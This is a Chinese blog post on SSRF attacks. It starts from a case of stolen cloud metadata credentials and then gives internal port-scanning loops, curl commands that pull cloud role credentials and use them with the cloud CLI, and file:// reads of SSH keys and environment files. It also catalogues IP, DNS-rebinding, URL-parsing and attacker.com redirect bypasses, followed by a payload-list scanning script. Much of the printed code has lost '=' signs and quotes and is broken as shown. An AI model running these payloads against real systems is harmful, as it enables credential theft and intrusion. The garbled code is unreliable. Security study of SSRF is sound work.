一个真实案例:图片裁剪引发的数据泄露

发布时间:2026/6/29 19:13:24
一个真实案例:图片裁剪引发的数据泄露 某电商平台的用户头像功能支持「从URL导入头像」。前端传一个图片链接后端去下载再裁剪。# 简化后的代码 def fetch_avatar(url): resp requests.get(url, timeout5) save_image(resp.content) return ok看着没毛病对吧但问题是——后端服务器在内网它可以访问内网资源。攻击者传了这么一个URLhttp://169.254.169.254/latest/meta-data/ram/security-credentials/admin-role169.254.169.254是所有云厂商的元数据服务端点。只要后端服务器在云上跑这个请求就能返回该服务器的临时凭证。结果该API直接返回了aliyun-access-key-id、access-key-secret和security-token。有了这三样攻击者可以在云厂商API中以该服务器的身份执行任何操作——创建ECS、下载OSS文件、甚至配置网络规则。这就是SSRF最经典的杀伤路径外部可控URL → 内网探测 → 云元数据窃取 → 横向移动。那我们来看看攻击者具体怎么玩。SSRF的三种常见场景1. 内网端口扫描SSRF最常见的用法是探测内网。攻击者构造一个循环挨个扫描内网IP和端口# 遍历内网C段 for ip in 10.0.0.{1..254}; do for port in 22 80 443 3306 6379 8080 9200; do curl http://target.com/fetch?urlhttp://$ip:$port/ done done通过响应时间差、返回内容、状态码来判断端口是否开放。如果返回了某些服务的Banner那直接喜提内网资产信息。实际场景中我还见过更狠的——攻击者不是手动扫而是用脚本配合Burp Suite的Intruder一个接口10分钟就扫完整个内网。2. 云元数据攻击前面提到的元数据端点各云厂商地址不同云厂商元数据端点AWShttp://169.254.169.254/latest/meta-data/阿里云http://100.100.100.200/latest/meta-data/腾讯云http://metadata.tencentyun.com/latest/meta-data/华为云http://169.254.169.254/openstack/latest/GCPhttp://metadata.google.internal/computeMetadata/v1/攻击者拿到凭证后通常执行以下操作# 1. 获取RAM角色名称 curl http://169.254.169.254/latest/meta-data/ram/security-credentials/ # 2. 获取临时凭证 curl http://169.254.169.254/latest/meta-data/ram/security-credentials/ecs-role # 3. 用凭证操作云API aliyun ecs DescribeInstances --region cn-hangzhou \ --access-key-id STS.xxx \ --access-key-secret xxx \ --security-token xxx3. 文件协议读取有些服务端不仅支持HTTP还支持file://协议import requests # 漏洞代码未限制协议类型 def read_resource(url): if url.startswith(http): return requests.get(url).text # 但支持 file:// return open(url.replace(file://, )).read()攻击者可以构造file:///etc/passwd file:///proc/self/environ # 环境变量可能泄露数据库密码 file:///proc/self/fd/1 # 日志文件寻找敏感信息 file:///root/.ssh/id_rsa # SSH密钥SSRF绕过手法大全攻击者视角防御方最常见的做法是「黑名单IP」或「白名单域名」。然而…每种方案都有对应的绕过方式。绕过IP黑名单你以为禁止了127.0.0.1就安全了# 十进制IP http://2130706433/ # 等价于 127.0.0.1 http://0x7f000001/ # 十六进制 http://0x7f.0x0.0x0.0x1/ # 混合进制 # 短格式 http://127.1/ # 等价 127.0.0.1 http://0/ # 等价 0.0.0.0 # IPv6映射 http://[::1]/ # localhost的IPv6 http://[0:0:0:0:0:ffff:127.0.0.1]/ # DNS重绑定经典的SSRF绕过大法 # 注册一个域名第一次解析到合法IP第二次解析到内网IP http://ssrf-bind.example.com/DNS重绑定是最骚的绕过方式。原理很简单攻击者注册一个域名配置极短的TTL比如1秒让域名在两个IP之间来回切换。第一次DNS查询返回合法IP通过白名单检查第二次查询发起实际请求时返回内网IP。我写过一个小工具演示这个过程import socket import time # 模拟DNS重绑定攻击 domain evil.dnsrebind.example.com real_ip socket.gethostbyname(domain) # 第一次查询返回8.8.8.8看起来安全 print(f第一次解析: {real_ip}) # 等待TTL过期通常设1-5秒 time.sleep(2) # 第二次查询返回10.0.0.1内网地址 rebound_ip socket.gethostbyname(domain) print(f第二次解析: {rebound_ip})绕过URL解析差异很多防御方案用urllib.parse来解析URL做校验但发起请求时用的却是requests或curl。这两个库的URL解析逻辑有差异攻击者可以利用这一点。# 防御方校验用urllib parsed urllib.parse.urlparse(url) # parsed.hostname baidu.com ✅ 看起来没问题 # 实际请求用用requests # 实际请求去了 http://10.0.0.1:80/构造方式示例# 利用符号解析差异 http://baidu.com10.0.0.1:80/admin # 利用#符号截断 http://10.0.0.1:80#baidu.com # 利用DNS命名规范下划线在某些实现中被忽略 http://baidu_com.10.0.0.1/ # URL编码 http://127.0.0.1%2f%2f%2fbaidu.com绕过302跳转有些系统会检查目标URL是否在白名单内但攻击者可以构造一个「中间人」域名# 攻击者搭建一个服务器 # 第一次请求 → 返回302跳转到内网地址 curl http://target.com/fetch?urlhttp://attacker.com/redirect # 跳转到 http://169.254.169.254/latest/meta-data/如果后端不检查跳转目标allow_redirectsTrue这就是一个经典的SSRF利用方式。实战代码SSRF漏洞检测工具下面是我在实战中常用的一款轻量检测脚本Python3可以帮助快速验证SSRF是否存在#!/usr/bin/env python3 SSRF漏洞快速验证工具 用法: python3 ssrf_check.py target_url param_name 示例: python3 ssrf_check.py http://example.com/fetch url import requests import sys import time from urllib.parse import urljoin # 测试Payload列表 PAYLOADS { 本地回环: [ http://127.0.0.1:80/, http://localhost:80/, http://[::1]:80/, http://0:80/, http://0.0.0.0:80/, http://2130706433:80/, ], 云元数据: [ http://169.254.169.254/latest/meta-data/, http://100.100.100.200/latest/meta-data/, http://metadata.tencentyun.com/latest/meta-data/, ], 内网常见端口: [ http://172.16.0.1:22/, http://10.0.0.1:80/, http://192.168.1.1:3306/, http://10.0.0.1:6379/, http://10.0.0.1:9200/, http://10.0.0.1:27017/, ], 文件读取: [ file:///etc/passwd, file:///proc/self/environ, ], } def check_ssrf(base_url, param): 对指定参数注入SSRF测试payload根据响应判断是否存在漏洞 print(f[*] 目标: {base_url}) print(f[*] 参数: {param}) print( * 60) for category, urls in PAYLOADS.items(): print(f\n[] 测试类别: {category}) for test_url in urls: try: params {param: test_url} start time.time() resp requests.get( base_url, paramsparams, timeout8, allow_redirectsFalse ) elapsed time.time() - start # 判断依据 # 1. 状态码200且有响应体 → 可能是成功 # 2. 响应时间异常连接超时或拒绝→ 端口可能开放 # 3. 响应内容包含特定字符串 indicators [ resp.status_code 200, elapsed 2, # 连接成功但没数据 root: in resp.text, # /etc/passwd特征 secret in resp.text.lower(), access-key in resp.text.lower(), ] if any(indicators): print(f ⚠️ {test_url}) print(f 状态: {resp.status_code}, 耗时: {elapsed:.2f}s) if resp.text: preview resp.text[:200].replace(\n, \\n) print(f 响应: {preview}...) else: print(f - {test_url} → {resp.status_code}) except requests.exceptions.Timeout: print(f ⏱ {test_url} → 超时可能端口开放) except requests.exceptions.ConnectionError: print(f ✗ {test_url} → 连接拒绝)